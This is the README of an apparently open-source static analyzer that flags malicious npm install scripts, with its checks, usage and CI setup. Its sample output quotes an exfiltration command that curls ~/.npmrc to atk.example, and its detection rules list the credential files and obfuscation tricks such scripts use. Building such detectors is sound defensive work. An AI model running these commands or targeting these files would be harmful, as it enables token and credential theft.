Static analyzer for npm / pnpm / yarn lockfiles and node_modules trees.
Flags suspicious preinstall / install / postinstall lifecycle
scripts, which are the single biggest npm supply-chain attack vector in
2025-2026.
Every major npm supply-chain breach in the last two years used a
postinstall script to exfil environment variables, npm tokens, SSH keys,
or AWS credentials. This tool reads your lockfile and the installed
node_modules and scores every package's install scripts against ten
known-bad patterns.
One-shot run against any repo:
npx github:TreRB/npm-postinstall-audit ./my-repoOr install globally:
npm i -g npm-postinstall-audit
npm-postinstall-audit ./my-repoNo runtime dependencies. Node 18+.
Usage: npm-postinstall-audit <path> [options]
Arguments:
path Repo root OR path to a specific lockfile (default: .)
Options:
--checks <list> Run only specific check IDs (e.g., NPA1,NPA3)
--json Machine-readable JSON output
--sarif SARIF 2.1.0 output
--fail-on <level> Exit non-zero on severity >= level
--ignore <name|glob> Skip package by name or glob (repeatable)
--published-after <f> Path to JSON { "pkg@ver": "ISO-date" } for NPA10
--now <iso> Override current time for NPA10 testing
--version Print version and exit
--help, -h Show this help
NPM-POSTINSTALL-AUDIT target: /home/tre/my-repo
lockfile: npm packages: 842 checks: 10
Findings (3):
[CRITICAL] NPA7 evil-stealer@1.0.0
postinstall script reads ~/.npmrc
Evidence: postinstall: curl -s https://atk.example/x -d "$(cat ~/.npmrc)"
Fix: Rotate your npm token now: npm token revoke && npm token create.
[HIGH ] NPA2 evil-stealer@1.0.0
postinstall script reaches network (curl to external URL)
Evidence: postinstall: curl -s https://atk.example/x ...
[HIGH ] NPA9 lodassh@1.0.0
"lodassh" is 1 edit(s) from popular package "lodash"
Summary
CRITICAL: 1
HIGH: 2
MEDIUM: 0
LOW: 0
INFO: 0
| ID | Title | Severity |
|---|---|---|
| NPA1 | Lifecycle install script present | INFO |
| NPA2 | Install script makes network call | HIGH |
| NPA3 | Install script reads process.env |
HIGH |
| NPA4 | Install script touches ~/.ssh, ~/.aws, /etc |
CRITICAL |
| NPA5 | Install script spawns child process, obfuscated args | CRITICAL |
| NPA6 | Install script embeds base64 blob > 80 chars | HIGH |
| NPA7 | Install script reads ~/.npmrc (token theft) |
CRITICAL |
| NPA8 | Install script is minified or obfuscated | HIGH |
| NPA9 | Package name is typosquat of popular package | HIGH / MEDIUM |
| NPA10 | Newly-published package with install lifecycle | CRITICAL |
Reports every package that defines preinstall, install, or
postinstall at any level. Informational by itself; meant to answer
"how many packages in this tree can run code on me at install time".
curl, wget, fetch(), https.get(), axios, got, node-fetch,
or needle invocations inside a lifecycle script. If any of them hits
the network, a registry compromise or a single MITM gives RCE on every
developer and CI runner that ever installed the package.
Any process.env.*, printenv, env |, or os.environ access from
a lifecycle script. Benign npm_config_*, npm_package_*, PATH,
HOME, NODE_ENV, TMPDIR, PWD, SHELL references are stripped
before matching.
Matches ~/.ssh, ~/.aws, /etc/passwd, /etc/shadow, ~/.gnupg,
~/.docker/config.json, ~/.kube/config, ~/.bash_history, and
similar. No legitimate install script needs these paths.
Fires when a lifecycle script both (a) uses child_process, execSync,
spawnSync, exec, spawn, eval, or Function(...) and (b)
contains an obfuscation signal (\xNN runs, \uNNNN runs,
String.fromCharCode, Buffer.from(..., 'base64'), atob(...), or
piped | bash / | sh / | node).
Any contiguous base64 run of 80+ characters inside a lifecycle script. Short hashes and identifiers slip through; encoded payloads do not.
Any reference to ~/.npmrc, $HOME/.npmrc, os.homedir() + '/.npmrc',
or the string _authToken. Stealing the user's npm token lets the
attacker publish malware as the victim's identity, producing a worm.
Computes average line length and Shannon entropy on the script and on
any JS file it node-invokes. Flags avgLineLen > 200 && entropy > 4.8
or entropy > 5.3. A hand-written postinstall script is short and
low-entropy.
Computes Levenshtein distance from every package name to an embedded list of the top ~400 most-downloaded npm packages. Distance of 1 is HIGH; distance of 2 is MEDIUM. Names of 3 chars or fewer are skipped.
The strongest single signal for a live supply-chain attack. Requires
a publish-time feed supplied via --published-after <json-file>. JSON
shape:
{
"evil-stealer@1.0.0": "2026-04-20T06:00:00Z"
}Any package in the tree that (a) has a lifecycle script and (b) has a
publish timestamp within the last 48 hours is flagged CRITICAL. You
can generate this feed from npm view <pkg> time --json or from the
npm registry replication stream.
GitHub Actions, fail the build on HIGH or CRITICAL findings:
name: supply-chain audit
on: [push, pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: "20"
- run: npm ci --ignore-scripts
- run: npx github:TreRB/npm-postinstall-audit . --fail-on highOr upload SARIF to GitHub code scanning:
- run: npx github:TreRB/npm-postinstall-audit . --sarif > results.sarif
- uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: results.sarif- Create
src/checks/npa11_your_check.jsexporting a default object:
export default {
id: "NPA11",
title: "short description",
severity: "high",
run({ packages }) {
const out = [];
for (const pkg of packages) {
if (!pkg.scripts) continue;
// ... your detection logic
out.push({
severity: "high",
package: pkg.name,
version: pkg.version,
file: pkg.manifestPath,
line: 1,
title: "what tripped",
evidence: "raw string",
fix: "how to fix"
});
}
return out;
}
};- Register it in
src/checks/index.js. - Add
test/unit/npa11.test.jsfollowing the pattern of the others.
import { scanRepo, renderJSON } from "npm-postinstall-audit";
const result = await scanRepo({ root: "./my-repo" });
console.log(renderJSON(result));scanRepo(opts) returns { root, lockfile, findings, checks, packageCount }.
findings is an array of { checkId, severity, package, version, file, line, title, evidence, fix }.
- Regex-based static matching. False positives exist on packages that
legitimately compile native code at install. Use
--ignorefor known-good names (fsevents,node-gyp,node-sass, etc.). - Lockfiles alone don't carry
scripts. Run this afternpm ci --ignore-scripts/pnpm install --ignore-scripts/yarn install --mode=skip-buildso the scripts are on disk but have not executed yet. - NPA10 needs external publish-time data. The tool does not hit the npm registry on its own.
- Top-package list is embedded and fixed at release time. Re-install after npm's ranking shifts.
You must have authorization to scan any repository you don't own. This tool reports possible anti-patterns; confirm impact before filing reports or taking remediation action.
MIT (c) 2026 Valtik Studios LLC